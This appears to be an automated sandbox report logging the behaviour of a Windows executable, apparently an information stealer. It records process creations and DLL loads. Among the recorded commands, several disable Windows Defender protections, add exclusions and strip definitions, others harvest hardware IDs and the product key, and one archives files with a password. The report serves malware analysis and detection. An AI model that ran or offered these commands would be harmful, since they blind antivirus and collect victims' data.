              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Users\user\Desktop\riFSkYVMKB.exe "C:\Users\user\Desktop\riFSkYVMKB.exe"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -AllJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LISTJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: vcruntime140.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: python3.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: libffi-8.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: sqlite3.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: libcrypto-3.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: libssl-3.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Windows\System32\tasklist.exeSection loaded: version.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: version.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: fastprox.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mpclient.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: version.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wmitomi.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mi.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: powrprof.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: umpdc.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: windows.storage.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: wldp.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: uxtheme.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: propsys.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: profapi.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: dpapi.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: cryptbase.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: cryptsp.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: rsaenh.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vbscript.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sxs.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vbscript.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sxs.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vbscript.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sxs.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: mpclient.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: secur32.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: sspicli.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: version.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: msasn1.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: kernel.appcore.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: userenv.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
